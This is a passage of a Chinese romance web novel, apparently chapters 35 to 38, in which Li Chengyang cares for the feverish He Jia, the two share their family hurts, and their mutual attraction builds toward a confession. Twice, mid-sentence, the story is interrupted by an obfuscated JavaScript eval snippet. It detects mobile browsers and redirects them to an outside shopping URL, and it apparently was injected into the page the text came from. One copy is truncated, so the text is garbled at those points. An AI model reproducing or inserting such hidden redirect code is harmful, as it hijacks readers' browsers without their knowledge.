室内静得吓人,她受不了这种沉默的尴尬,开口问他:“时间到了吗?” 他走过来,伸出一只手:“拿出来给我看看。” 水银停在38.9度的位置,着实把他吓了一跳。 “烧这么厉害?头痛吗?” “痛……” “等我把粥端过来。” 她支着头说:“我不喜欢喝粥,直接吃药就好了。” 他没回应,径直去端了粥才回来。 “空腹吃药对胃不好,先喝点粥。” 何嘉抵抗,她是真的不喜欢喝粥,光是看着它冒热气的样子就心烦得不行。 “我不喝。” 李成杨只当她还在和他闹别扭,叹了口气说:“先喝了,其他的事退烧了再说。” “我不喜欢。” “你喜欢的。” 她脑子里冒出三个问号,无语道:“我是真的不喜欢,什么都不喜欢,连你也不喜欢,很不喜欢,我不会喝的,快点把药给我。” 他却直接舀起一汤匙递到她嘴边,带着诱哄的语气说:“好,不喜欢。” 什么意思嘛!还当她还是小孩子吗? 她和他置气,就是不给他面子。 可是肚子却很不给力,几乎是闻到粥香的一瞬间,她就觉得好饿。 好吧,既然饭都到嘴边了,不吃白不吃! 何嘉一口含住勺子,恶狠狠地瞪了他一眼。 但李成杨觉得这个眼神根本没有什么威慑力,就是一只可怜又傲娇的鹦鹉罢了。 “吃吧,多吃几口。”他的勺子又递到她嘴边,她不再拒绝。 其实这碗粥的味道还不错,青菜的味道很清新,肉沫也很香,何嘉吃着吃着就觉得胃口大开,还没等李成杨舀下一勺就张开嘴巴。 他看着她的样子笑了:“你不是不吃吗?” 何嘉继续咀嚼,可爱的的眸子露出不甘:“我是因为你做的挺好吃才吃的,但是我还是不喜欢喝粥。” 他摇摇头不再说话,等她吃完最后一口才将药片递给她。 “吃了药再好好睡一觉,不舒服的话叫我。” 她这次没抗议,十分听话地躺下了。 李成杨趁机贴了一个退烧贴在她头上,又替她掖好被角,确保不会漏风。 “你先好好睡一觉,不舒服的话就叫我,我一直在。” 何嘉就这么一动不动地盯着他,心里突然感觉很安稳。 他转头对上她的视线,不明所以:“怎么了?” “没什么。”她不想承认此刻自己很需要他,“我要睡觉了,你快出去吧。” “嗯,睡吧。”他看着她闭眼,却并未走远。 室内变得静悄悄的,无形之中放大了何嘉身上的不适感。 刚才还觉得头没那么疼,这会儿躺下之后她才发觉后脑勺像被打了似的,整个人痛得神志不清。 她的身体正在散发热气,和刚蒸熟的包子一样,试着睁眼又闭眼,甚至有种灵魂正在飘离身体的错觉。 脑子昏昏沉沉,不知道是进入梦乡还是在意识的边缘,何嘉突然想起好几个曾经发生过的画面—— 2004年的夏天,她还在读小学,那时候的天气可真热。 王丽琼给她切了个西瓜,她一边吃一边问:“阿婆,你说江州离这儿有好远嘞?” 王丽琼啧了一声,用蒲扇点点她的脑袋,“你问这些做啥子?小娃儿莫想这些。” 何嘉不赞同:“小娃娃怎么不能问这个?我长大了就要去那里找我妈妈爸爸,然后和她们一起回安城。” 王丽琼摇头:“等你长大了他们就回来了,哪里还用你去找?” “那我什么时候长大?” “不晓得。” “明年够不够?” “哎呀话多!再问打屁股了啊。” 何嘉不问了,手上的西瓜啃得满脸都是。 画面一转,跳到2007年的秋天。 何嘉放学回来看到一个留着长卷发的女人坐在客厅里。她穿得不算精贵,甚至有些粗陋,但是人却很漂亮。 何嘉跑到她跟前问她:“你是谁啊?你的头发好漂亮。” 女人朝她一笑,很平静地说:“我是你妈妈。” 何嘉盯 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那天放月假,何嘉回去看阿婆,那个时候阿婆已经从医院住进了养老院。 何嘉出去洗水果的时候听见几个护工围在一起讨论什么八卦。 其中一个孃孃说:“就王丽琼她女儿之前那个老公,跑了这么多年了,在外面勾搭上富婆,还骗人家说没得老婆娃娃,结果那个富婆不晓得咋个晓得了他屋头的事,前几天都闹到这里来了!” 年轻点的阿姨问:“然后嘞?王丽琼她女儿来了没得嘛?” “吼哟!咋个没来呢,前几天她从江州回来专门处理这个事情,那个富婆喊他们马上去扯离婚证,不然不得走哦!” 嬢嬢觉得好惊讶,故意压低声音:“啊?他们还没离婚的啊?” “没离!这家人精彩得很!王丽琼她女儿之前不是和她老公去江州打工嘛,结果男的偷偷跑了,就跟那个富婆好了好多年,她女儿开始还在找,后来也找了个男人,反正不结婚也不算重婚嘛,只是可怜了他们生的那个娃娃,从小妈老汉儿都没见过,这下王丽琼又病得没办法,那个小女娃儿只能自己做兼职搞点生活费。” “造孽哦造孽!” 何嘉听到最后,不知道应该先笑还是先哭,自己家的事情没想到还要通过别人知道。 她想打个电话去问那个自称“妈妈”的人,这一切是不是真的? 可搞笑的是,她发现自己竟然连她的电话号码都没有。 原来,阿婆不让自己去找妈妈爸爸是因为他们都有自己的新生活了,她是真的没人要的小孩,这个世界上还有谁关心她? 阿婆,只有阿婆。可是她已经连说话都费劲了。何嘉每次去看她的时候她大部分时间都在睡觉,即使是醒了也只是重复一句:“嘉嘉,不要想我……你要好好读书,以后不要想阿婆……嘉嘉要乖,要好好读书。” 她做到了的,她每一项都做到了,她平时从来都不想王丽琼,书也在好好读,考研成绩出来了,她考得好,考了373,不出意外一定可以上临昌师范,以后就回来做老师,那时候王丽琼还可以在心里炫耀,说我们家也出了个老师! 何嘉真的什么都做到了,可是她为什么还是那么伤心。 万一阿婆哪天就不在了,那该怎么办?她就真的是一个人了,再也没有人爱她,再也没有人喊她“嘉嘉”了。 她想哭,眼泪一直止不住。 人一病情绪也变得脆弱,何嘉哭得抽搐起来,一股巨大的悲伤笼罩在她周围,她像只搁浅的鱼,无法呼吸。 她到底应该怎么做? 为什么人都会死去?为什么这世上让人难过的事情总是那么多? 她不知道,只知道哭。 “何嘉。” “何嘉。”有人在叫她。 她缓缓睁开双眼,一个熟悉的面孔离她好近,可她突然就反应不过来他是谁。 她仍是哭,哭得头快要裂开,一点也记不起来他是谁。 他却伸手去探她的温度,发现汗水早就浸湿她的身体,高温一直没有降下来。 “何嘉!你有没有事?要不要去医院?”他的语气关切,每个字都在着急。 她又睁眼去瞧他,这个人眉眼墨色极重,嘴唇不薄也不厚,嘴角还有一颗棕色的小痣。 噢,她想起来了,他是李成杨。 36. 第36章 “我不去医院。”何嘉脸上还挂着泪痕,又重复了一遍:“我不去医院。” 李成杨点头:“好,不去医院,那要不要换个退烧贴?” 何嘉摇头,心里止不住伤心,那些回忆太过鲜活,让她整个人觉得既悲痛又空虚。 “你可以抱抱我吗?”她的声音颤抖,带着一股浓浓的鼻音。 这句话烫在他心窝,他怎么舍得拒绝。 “好。” 男人将她整个圈在怀里,又想起来她一点凉也不能受,于是捡起床上的被子在她身上裹了一圈又一圈,像包粽子一样。 何嘉任由他动作,只是默默抱住他的腰,将脑袋放在他的颈窝。 她没来由地一句:“你别嫌弃我,我身上好多汗。” 他不介意:“没事。” 李成杨的温度源源不断地传到她身上,她忍不住用头蹭了蹭。 两个人沉默下来,何嘉满脑子都是梦里的那些片段。 一切都是真实发生的,一切都是真的。就连王丽琼也许会死,也是真的。 人这一生没怎么接受过死亡教育,等到突击考试的时候拿个零蛋,后面只剩无尽的恐惧,根本来不及思考也没有一丝防备,也不知道这后面的半生要用多少年去治愈。 时间,只有时间可以抹平一切痕迹。 何嘉才22岁,却熟知这个道理。只是她还是无法面对王丽琼,就像她无法面对自己如谎言一般的人生。 每每想到这些她就要流泪。她明明很坚强的,就算是装,也是装得很坚强的。 “我一直都很乖的。”她哽咽的时候总是说这些没有上下文的话,“我以前一直都很乖,我阿婆让我乖一点,好好读书,一点都不要想她。” 李成杨问她:“为什么不要想?” 她突然笑了一下:“因为想她我就又要哭了,小时候也是这样,只要想她我就好想好想哭,我也不知道哪里那么多哭的道理。” “刚才哭是因为阿婆?” “嗯,但是还有别的。” “还有什么?” 她一眨眼,泪水滴在他的颈窝。 “还有我的破烂生活。” 他试探着问:“包括什么?” 她的泪水掉落得更狠,直接将他毛衣的领口处沾湿一大片。 “我的阿婆会死,包括我的妈妈爸爸全都不要我,包括我这么多年来兼职的每一天都累得要死,包括我每年每天都要思考我的学费和生活费到底该怎么办?包括所有所有所有让我快乐又悲伤的一切。” “你说活着怎么那么不容易?特别是你知道吗……王丽琼以前总骗我说我爸妈只是去江州打工才不回来看我,可是我后来知道了,我爸跟人跑了去做富婆的软饭男,我妈也留在江州和别人有家庭了,他们都宁愿当别人的后爸后妈也不要我,我的存在就像个完完全全的笑话啊……” “这个世界上只有阿婆那么爱我,我们一起生活的时候也很穷,但是她从来不会让我觉得生活很难,她让我觉得这个世界是有无限可能的,可是上天告诉我,她已经病得严重,她有一天也会死。你说我怎么办啊?” “李成杨,你说我怎么办啊?” “对不起。” 他不能回答这个问题,他只能抱紧她一点,再紧一点,好让她感觉此刻还有那么一个人能让她感觉自己依旧真实地存在。 少女的眼泪是汹涌的瀑布,她要呕出身体的所有水分连带着内心最深处的悲凉。 他想替她擦干眼泪,竟然找不到任何办法。 此刻他好像才真正了解她,那个平时看上去狡黠可爱的姑娘原来抱上去那么瘦小,那个脸上总是微笑的女孩,原来要独自承受那么多不该她承担的秘密。 那他该怎么办?他得做什么才能抚慰她,才能让她不再感到孤身一人? 他得告诉她,她是谁。 “何嘉。你看着我。”他握住她肩膀,轻轻抬起她的脸颊,用指腹帮她擦去杂乱的泪痕,“何嘉,别怕好吗?我知道我现在说这些很无力,但是我还是想说给你听。” “亲人离去会让你悲伤,甚至是消沉一段时间,这很正常,因为你会在未来的某个时间找到他们从未走远的证据。人都是会离开的,你有没有听过‘分久必合,合久必分’这句话?” “所有的分离都是为了重逢,你只要带着对亲人的思念,就一定不会和他们走散的。你要相信。” “你说妈妈爸爸不要你,没关系,没关系的,这不是你的错,你是何嘉,你仅仅是何嘉,你不是你的父母,他们的错误不该由你来承担,你把自己照顾到现在已经很厉害了。” “你看,你一直以来都做的很好,即使没有他们,你也一样成长得这么美好。你还会有无限的人生,不要因为他们的过错困在原地。” “至于钱的问题,都会有的,钱会有的,房子也会有的,什么都会有的,等你工作了你就会有稳定的工资,你不用再去兼职,也不用害怕哪一天就交不起费用。况且,况且你没有的话可以找我要,可以的,什么都可以的。只要我还在这里,你就不是一个人,相信我好吗?” 何嘉盯着他目不转睛,一滴晶莹剔透的泪珠划过他的手背。她的眼里有动容也有不可置信。 “你为什么对我说这些?” “因为我在意你。” “你为什么在意我?” “我想等你清醒一点再告诉你。” 她点点头,换了一个问题:“为什么你好像什么都知道?” 他的眸子温润下来,再次替她擦拭泪水:“我不是什么都知道,我只是活得比你久一点,经历的稍微比你多一些。” 她渐渐收住泪意,眼神却湿漉漉的:“那天壅哥跟我讲过你的经历,但是我想听你亲口说。你愿意告诉我吗?” 他想了一下,坦然开口:“没什么不愿意的。我大学毕业那会儿吧,刚毕业的时候,我爸来临昌找我,说他已经得了肺癌,求我救救他。可是讽刺的是,那个男人之前对我和我妈妈都很差,他经常打我们,所以我挺恨他的。” 何嘉呆了一秒,问他:“那你救了他吗?”其实她知道答案,但她还是想听他说。 “救了。”他替她撩开碎发,手指滑过她的睫毛,“我还是救了他,虽然后面很后悔,但我还是在救他。” “你为什么救他?” “我也不知道。可能……无法看到一个生命就那样在我面前逝去吧。但我也很煎熬,总觉得很愧疚,因为就算没把我和我妈打死,也算是半个杀人凶手吧,所以我救了他之后,又怎么面对我妈呢?” “不是的。”何嘉捧起他的脸颊,很肯定地说:“只是因为你本来就是很好的人,所以你会觉得煎熬。你很善良,你对谁都是这么心软的,你爸爸很坏,他只是利用你的善良。” 李成杨苦涩地笑笑:“是么?” “是的。”她又问:“你当时是打算留在临昌吗?是因为救他才回余川?” “嗯。”他说:“那时候本来已经找了个不错的工作,但是要从低层做起,变现太难了。又是刚刚大学毕业,手上没钱,只好从临昌回余川,就天天去跑快递。” “那都是十年前了,快递业没现在那么发达,所以每天要干很多单才能挣一点钱,但我那点儿工资还还不够他住一天ICU的,就想把房子卖了给他治病,但是还没卖出去人就没了。” 这何嘉是知道的,张姨之前说过,李成杨原来读的是机械工程,和送快递完全不沾边,当年是为了凑钱才入职这一行。 “那你后来没有想过再回去干原来的工作吗?” “想过,但是很难。我当年远离原来的专业太久了,再加上没有相关的工作经历,所以,那时候我没有勇气改变,也有点害怕。再加上送快递每天两点一线,送得多就挣得多,也算是不多劳多得,习惯了也算是不错吧,就一直干下去了。” “原来是这样。那你刚才说要卖掉的房子是这套吗?” “不是,我们家原来那套已经被我卖了。13年那会儿我重新开了我爸的饭馆,发现一年能挣不少,然后就重新买了这套房。” 何嘉颔首,再次回到他的怀抱。 “那你妈妈呢?她还好吗?” 李成杨把她抱得更紧,“应该还不错吧,当年是我舅舅来把她接走的。” “那你们还联系吗?” “没有。她走的时候我就告诉她,让她以后都别回来,从那以后我就和她没有联系了。” “你会怪她没带你走吗?” 他眼里多了一种无奈:“不,我从来没有怪过她。她当时被打得已经不记得我是谁了,所以我让她再也不要回来,就是想让她有个新的生活。我不想让她某天想起来的时候害怕,我想,她一看到我估计也会想到我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344401|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸,那么她早点离开这个家也是解脱。” 何嘉拍了拍他的背,安慰:“她现在肯定生活得很好,你放心吧。” “嗯。”他蹭了蹭她的头发:“我知道的。只是我现在想到这些,也不知道当年究竟为什么做出那个选择。我一直特别盼望那老头快死,但是他真的要死了的时候,我竟然还在想有没有什么办法能让他活久一点?你说搞不搞笑?” “很复杂,人的心理是很复杂的。”他自己回答了这个问题。 李成杨说这些话的时候一直很平静,看不出任何情绪,就像是一个旁观者在诉说一件再普通不过的事情,甚至好像那些事根本就没有发生在他身上一样。 可她听了之后却觉得心酸。 现在的李成杨能够这么平淡地讲出这些话,一定不是因为当时的他不够苦,不够绝望。 而是因为他已经用了大约十年的时间,去消化那些不能诉说的悲伤。谁也不能抹去那段笼罩阴霾的记忆。 对何嘉来说,光是想到阿婆会去世就觉得心痛得难以接受,实在是无法想象那会儿和她一样年轻的李成杨,有着怎样不为人知的心情。 他会坐在别人看不到地方流泪吗?他会因为失控的未来而感到恐惧吗?他会不会埋怨过命运?为什么他得承担这些沉重的课题? 她没法问,也没有资格问,所以她只是朝他尽力露出一个微笑:“你一点都不搞笑。因为那时候的你,一定过得很辛苦吧。” 不是问句,是在陈述他那些年的不容易。 他的眸子因为这句话闪出细小的光亮,然后是一种陌生又久远的情绪。 一颗石子掉进了他沉寂多年的心海,荡起一圈又一圈涟漪。小石子坠啊坠啊,一直跌到他的心底,跌到他心里最脆弱的秘密。 现在这颗石子就安静躺在那里,一下子就充斥了整个营地。 22岁的何嘉如此轻易地触碰到了那年22岁的李成杨,那时候他也好想有人能这样对他关心一句。 可是他只能孤身一人和现实打斗,直到现在,32岁的他才听到了当年自己如此渴求的关心。 如此平凡、简单的问句。 没有谁能从一开始就坚强,他也猛地记起曾经的他也是如此悲伤地脆弱下去。 只是太久了,久到他都怀疑,那些年他真的伤心过,难熬过吗? 现在何嘉告诉他了,他从前经历过的苦痛永远变不成蚌里的珍珠,你不能因为自己变得成熟就忘记治愈从前的自己。 “你现在想到这些还会伤心吗?”何嘉的声音放得很轻。 李成杨伸手触摸到她的发顶,眼神柔和也坦诚:“太久了,我要想一想。” “好。”她不用他真的回答什么,只安慰说:“没关系的,你已经很厉害了。谁经历了这些都会伤心的。李成杨,你不要怕,你身边有我。” 他弯唇浅笑,将下巴抵在她的发顶。 “我知道了。” “嗯。” 他不再多说,手掌从发顶移到她额头。 一层薄汗还是有点烫手,不知道她怎么忍着难受和他一直聊天的。 “头还痛吗?摸着还是热的。” 何嘉回答:“还有一点。” “嗯,躺下再睡一会儿。” 她照做。 不知道是不是因为烧还没退,刚才又哭得太厉害,何嘉感觉身体变得十分沉重。几乎是在躺下的那瞬间,她就觉得眼皮再也抬不起来。 而后是一条长长的隧道,她进入了无梦的睡眠,这次异常安稳。 李成杨的目光在她脸上停留了一会儿,心里那跟紧绷的弦放松下来。 她的睡颜和她说话的样子一样让他心软。她一直都是这样美好的人,聪慧、独立、坚强。 第一次见到她时,他就从她倔强的眼睛里读懂,她比他诚实,比他勇敢,甚至能轻而易举地办到他做不到的事情。 这样年轻优秀的她,还会遇到很多比他要好的人,还会有无限的人生可能。 终归是他配不上她,配不上她这样坦然的欢喜。 可是这一刻他突然想假装,是不是只要装作自己还未变老,就可以一直待在她身旁? “嘉嘉,快点好起来。” 他这样喃喃了一句,心里软得一塌糊涂。 是为她,只为她,这一潭死水横跨十年的头一个春天。 37. 第37章 寂静的房间,每一丝光线都被窗帘拦去,没有任何人可以打扰躺在床上的女孩。 何嘉醒来的时候看到的就是这个场景。 她想伸手去摸手机,却发现自己的手被压在被子下,一点也动不了。没办法,她只好转头去看墙上的时钟。 16:34 这一觉都睡到下午了,难怪她觉得脑袋沉沉的。 坐在书桌前的人听到她翻身的动作,立马往她的方向看:“怎么了?要喝水吗?” 何嘉点头:“我想喝。” “喝吧。” 李成杨倒了一杯温水递到她嘴边,她就着他的手喝了一大口,一直看着他看。 “看着我做什么?” 何嘉慢吞吞回答:“就是,你这么照顾我,好像妈妈一样。” “是吗?”他将水杯放回桌子,“为什么像妈妈?” 她思考了一下,说:“虽然我妈没有照顾过我,但我觉得人们渴望被照顾,渴望的亲密关系,实质上都是一种类似于妈妈的爱。就像你现在照顾我,让我觉得很有安全感。” 他温柔地笑了笑:“嗯,你说的很对,就是像妈妈一样。” 何嘉却回想了一下刚才说的话,突然觉得哪里怪怪的。 “那个,我刚才说的,不是暗示我渴望被你照顾,渴望和你的亲密关系……” “我知道。”李成杨凑近她的眼睛,点了点她的眉心,“你的意思我都知道,你不用专门跟我解释一遍。” “那就好。”她不好意思,扯着被子遮住自己的半张脸,只将眼睛露出来。 他又朝她笑笑:“头还痛不痛?饿了没,想不想吃东西?” 何嘉完全没注意他的问题,一直盯着他的笑容目不转睛,就像要把他看出花来一样。 过了半晌,她捏着被子小声说:“你不许笑。” “嗯?不许笑?” “不许笑。” 他把她的被子拉下来一点,“为什么?” “你笑来笑去,让我很烦躁。” “怎么烦躁了?” “我还在生病,你,你不能勾引我。” 李成杨哑然失笑:“我笑一下就勾引你了?” “你就是,趁我生病的时候大肆散发你的魅力,好让我上你的当。” 他凑到她面前低语:“难道我没有散发魅力的时候,你就没有上我的当吗?” 小姑娘一扭头,猛地闭上眼睛:“你别说了,快点走开。” 他迟迟不动,何嘉没听见响动又睁开双眼,一下子坠近他漆黑的眼睛。 她神色紧张:“你干嘛?” 他嘴角上扬:“你想我干嘛?” “你快点走开,你不要离我那么近。” “是吗?” 李成杨又故意笑了笑,慢慢朝她贴近。 何嘉甚至感受到他呼出来的热气,她就这么一直睁大双眼,看见他的脸无限放大。 “你?” “我?” 她忽然闭上眼睛,心声渐响。 他却只将手背贴在她的额头上,感受了一会儿之后,终于松了一口气:“应该没事了,已经退烧了。” “嗯?” 何嘉非常不爽地打开眼睛,眼神恶狠狠的:“李成杨,我都病了你还要欺负我。” 他好笑:“我怎么欺负你?我看你退烧没也算欺负?” “你故意逗我。” “有吗?” “你故意的。” 他不置可否:“不知道,没那个想法。” 何嘉气得要死,咬着牙加重语气:“成杨叔叔!我现在感觉身上很多汗,非常不舒服,我要洗澡。” 他说:“不行。” “怎么不行?不洗澡也可以,擦擦身体总可以吧?” 还是:“不行。” “我觉得可以,我现在就要擦身体,你帮我擦,你不给我擦的话我晚上就不吃饭也不睡觉。” 李成杨眉毛抖了两下,有种搬起石头砸自己的脚的感觉。 “我不能帮你擦。” 何嘉坏笑:“可以的,我的人你亲了,我的碎花你也看了,你还有什么做不出来的?” 他被噎住,伸手扶额:“你故意的。” 她淡淡地说:“不知道,没那个想法。” “……你真要我帮你擦?” “真的啊,你以为我开玩笑吗?” 他试图在她脸上找到一点说笑的痕迹,但她就这么看着他,再也没说别的话。 两个人僵持着,在比谁更的心理更强大。 好吧,是他输了。 “你别后悔。”李成杨是真的拿她没办法,扔下这句话就往外走,洗手间传来一阵水声。 过了几分钟,他端了个洗脸盆进来,盆上搭着一根毛巾,水汽在空气中慢慢蒸腾。 她看了眼毛巾:“这个你用来干什么的?” “洗脸。” “你用你的洗脸帕给我擦身体?” “怎么?不可以?” “不可以,我嫌弃。” 他气极反笑:“我家就这么几张帕子,一张洗脸一张浴巾,还有一张洗碗,你不用这个你想用哪个?” 她想了想有道理:“那好吧,我就不嫌弃你了,你快点上岗吧,李师傅。” 李成杨拿着帕子在热水里拧了好几下,等到毛巾不再滴水的时候才叠成方块,他转身面对何嘉,不知道该从何而起。 “你要不还是自己来?” 何嘉从床上坐起来,催促他:“快点。” 他咽了咽嗓子,坐到何嘉身边,眼神在她脖子上流转。 女孩的脖颈细软,白皙之下还透着一点粉红,再往下是凸起的锁骨,藏在毛衣里若隐若现。 她将他的眼神一网打尽,有意朝他靠近,嘴角一弯:“你在看什么?” “没什么。” 他用帕子在她脖子上轻擦几下,指尖划过她的皮肤,不经意地颤抖一下。 她兴致大好,忽然趴在床上指挥他:“可以了,帮我擦擦背吧。” 他突然沉默,觉得指尖发麻。 何嘉回头提醒:“李师傅,快点快点。我没盖被子,你再磨蹭等会儿又要着凉了。” 李成杨捏着帕子,呼出长长一口气,然后伸手接近接近她的毛衣下摆。正要触碰到的时候,他的手掌停在空中。 “快点。”她不耐烦了。 他看见毛衣上的绒毛在光线中轻轻摆动,氧气里的尘埃一粒一粒浮在空中。 “好。”没有掀开她的毛衣,他将毛巾伸进衣摆,在她背上一寸又一寸地小心擦拭。 动作很轻,一点也不敢用力,生怕自己会碰到不该触碰的地方。 女孩的背沟分明,从后颈顺延到腰际,线条柔美却不失韧劲,随着她的动作一呼一吸。他手掌向上,肩胛骨的轮廓清晰,呈现出一种喷薄的力量。 何嘉被他照顾得很舒服,丝毫没有觉得一点尴尬,反而问他:“你可以用力一点吗?” 他突然手指一滑,触碰到她背部的滑软,两个人皆是一惊。 李成杨滚动喉结,感觉眼睛发热:“对不起,我不是故意的。” 何嘉耳尖发红,很大度地说:“没关系,我不是那么小气的人。” “嗯。”他继续擦拭,目光落在她腰间露出的那片空白。手上动作依旧,却突然觉得心痒难耐,没办法忽视那里的风景,就只好定在原地心猿意马。 “李成杨?” 她感觉他动作停顿,扭头去看他的表情,可是还没看到呢,他就伸手蒙住她的眼睛,声音极其不自然:“别看。” “为什么?”她嘟囔:“为什么我不能看?你都能看我,为什么我不可以看你?” 他只说了一句:“现在别看我的表情。” “你什么表情?” “……” “你什么表情嘛?” 李成杨吐了一口气,面色涨红:“被你打败的表情。” “哦,你知道就好。” “嗯,我知道。” “那你擦完了没?” 他迅速将帕子扔在水盆里,装作什么也没发生。清了清嗓子对她说:“好了。你躺着,我给你盖被子。” 何嘉躺好,细细观察他的表情。 “你也没有什么表情嘛,为什么刚才不能看?” 他不想回答,端着水盆出去了。 何嘉觉得好没道理,但也没再问,等他回来的时候看到桌子上的水瓶,是那瓶空掉的百岁山。 “李成杨,那个瓶子你为什么要留着?” “什么瓶子?” 她一指:“那个百岁山,是我送你的。” 他看了看,说:“你哪来那么多问题?才退烧别问来问去,自己躺着休息一会儿。” “不,你现在告诉我,反正你也会告诉我的。” “我不说。” “你为什么不说?那我猜一下,是因为我写了那几个字对吗?” “不对,别问了。” “哪里不对?” “不记得了。” 何嘉觉得没意思,“那我不问了。” “嗯。”他将那个瓶子理正,拿在手里把玩一会儿,对她说:“以后再问的时候,我会告诉你。” 以后? 为什么是以后? “以后是多久?”她又要问了。 “你想是多久就是多久。” “什么意思?” 他对上她的眼睛,话里有话:“你想多久,它就可以是多久。时间还很长,你现在先休息。” 她想……? 她心脏没来由地悸动。他的意思,是她理解的那个意思吗? “你是什么意思?”她期待地望着他,“你说的‘多久’是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他揉了揉她的头发:“你总是有那么多好听的话。” 她很认真:“是真的,你这个人和你的名字一样,都很好。” 怕他不相信,又加了句:“非常好。” 李成杨露出酒窝:“嗯。那你的名字呢,是什么意思?” 何嘉抿嘴,勉强地笑:“我的名字就是阖家团圆的‘阖家’谐音。我一出生爸妈都不想要,我阿婆就把我接过去,让我跟妈妈姓,给我取了这个名字。因为没有什么家人,我阿婆就说,希望我有一天能有真正的家人,那就叫‘何嘉’(阖家)了。” 他在她头上拍拍,声音温和:“会有的,都会有的。” “嗯。”她朝他微笑,又想到什么,问他:“你一般怎么过春节呀?明天就是年三十了。” “我?我一般不过春节。” “你不过吗?那你多孤单啊?” 他回忆半瞬,“也还好,就在家里休息,和每个月的休假没有太大差别。” 但她觉得好惨,春节都一个人过,实在是有点可怜。 斟酌一会儿,她转向他:“我明天要回安城,你,要不要和我一起?” 李成杨微愣,眨了眨眼睛:“我用什么身份和你一起回去呢?” 何嘉也眨眼:“你想用什么身份呢?” “我可以用什么身份呢?” “你想用什么身份,你就可以用什么身份。” 李成杨怀疑今天是鬼打墙了,要不然他们怎么总是重复同样结构的话。 “我不知道用什么身份。”他低头和她平视,目光似期待又如引诱:“但是,你可以告诉我。” 小姑娘心跳很响,听见冷风打在吊灯的声响。 她陷在他的眸子里分不清是醒是梦,试探好一会儿也找不到东南西北。 “你想,让我告诉你什么?” 他没回答,反而凑到她耳边,发间的香味一阵一阵往她身上缠绕。 接着,他用近乎气音的语调吐字: “嘉嘉,我们还有很重要的事情没有说。你愿意,和我谈谈吗?” 何嘉瞳孔收缩,感觉耳垂红肿发痒,忍不住朝后退了一步。 小姑娘正在努力分解他话里的意思。 她不是不懂,相反,就是因为一开始就太明白,反叫人怀疑自己的判断。 男人的面色如常,面对她的探究,依旧坦然。 见她慢慢回神,李成杨勾唇一笑,眼眸清亮得像十五的月亮。他不断撩拨她的神经:“嘉嘉,你想,我现在就说出来吗?” “不要!” 何嘉猛地捂住他的嘴巴,语气急急忙忙:“不要现在说!我还没有准备好!我现在的样子乱七八糟的,一点也不合适听到你要说的话!” 他握住她的手心,“怎么不合适?你什么时候都漂亮。” “不不不。”她坚持:“我才退烧没多久,现在全身都邋遢,不可以!不可以现在说!你难道想我以后想起这种重要时刻,全都是狼狈的回忆吗?” 他闷笑,拉着她说:“好。那你想我什么时候说?” “明天,等我明天收拾好再说。” “好。你想怎样,我们就怎样。” 38. 第38章 第二天年三十,何嘉早起洗了个澡,拿着李成杨的浴巾往外走。厨房里传来煎蛋的滋滋声,某人正在准备早餐。 一股香味从玻璃门里飘到她身边,她轻轻推门,在他身后问:“你什么时候醒的?” “你醒的时候我就醒了。”他递给她一碗草莓,指着门外:“里面油烟大,你先去外面等我。” “好。”何嘉抱着草莓坐在沙发上,边吃边问:“这是你昨天买的吗?” 抽油烟机声音大,里面的人没听见。 她没再问,等到他端着早餐出来的时候才递了一个草莓给他。 “你吃两个。” 李成杨就着她的手一口吞下,嘴唇滑过她的指尖,和那天晚上一样柔软。 “嗯,酸的。”他又吃了一颗,“这个比刚才的甜。” 何嘉鼓着脸说:“你应该说是甜的。” “为什么?” “因为是我喂你的。” 他好笑:“好,甜的,非常甜。” 小姑娘满意了,目光下移,停在他脖子上的红痕,大概是有点心虚,试探着问:“你那里还痛不痛?” “哪里?” “就是那里。”她摸了摸自己脖子,“就是你的这个地方。” 李成杨想到什么,眼神转了一圈,“哦那里啊,不痛了,就是……” “就是什么?” “就是,不能见人。” 她不赞同:“可以的,你戴一条围巾就能遮住了。” “没有。” “那你就别出门了。” “不行。” 何嘉觉得他故意跟她唱反调:“是你说不能见人的,我给你提供了解决措施,你干嘛老反驳我?” 李成杨意味深长地说:“不能见人,但是我就想见人。不然,你给我标记的东西向谁炫耀?” “你有病!”何嘉用草莓堵他的嘴:“那么羞耻的东西你干嘛要给别人看!” “哪里羞耻?嗯?你咬的时候没想过羞耻?既然咬都咬了,吸都吸了,就大大方方给人看,不可以?” “不可以!” “哦我知道了。” “你又知道什么了?” “我知道你就喜欢草莓。”他从碗里拿出一颗草莓,故意将这两个字咬得很重:“草莓确实很好吃。” 何嘉猛地朝他扔了个抱枕,语气恼怒:“李成杨你真的讨厌死了!” 李成杨将草莓放到嘴里,十分悠闲地说:“讨厌就是喜欢,我知道。不说了,快来吃早饭。” 何嘉气呼呼地爬起来,一股脑儿将他做的东西全都吃了,全程没说一句话。 他还问:“生气了?” “没有。”她摸了摸肩上的浴巾,心生一计:“李成杨我问你个问题。” “你问。” “你前天洗澡的时候到底在里面干什么?” 他嘴角一僵,搪塞道:“洗澡能干什么?就是洗澡。” “那我当时问你有没有事,你为什么不回答?” “没听见。” “你听见了,你快点告诉我,你到底在里面干什么?” “你真想知道?” “对。” 他眼尾上挑,轻飘飘地说:“干想干的事情。” 她明知故问:“那是什么?” “你不想知道。”李成杨将浴巾盖到她脸上,“不该问的事不要问,快去吹头发。” 她扯下浴巾甩在他身上:“不理你了。” 洗手台上摆了一个吹风机,何嘉将它拿起来一看,发现这台吹风和他送他的那台是同一个品牌。 她很好奇:“李成杨,那天的吹风,你什么时候放到店里的?” 李成杨说:“你不是不理我了吗?” “我可以不理你,但是你不可以不理我。” “好好好。那个吹风我早就放了,店里没人的时候放的。” “那你为什么不直接给我呢?” “因为我不敢。” 何嘉朝外面探头:“你为什么不敢?” 李成杨用食指点了点心脏的位置:“因为,不知道那个时候,嘉嘉的心里还有没有我的位置。” 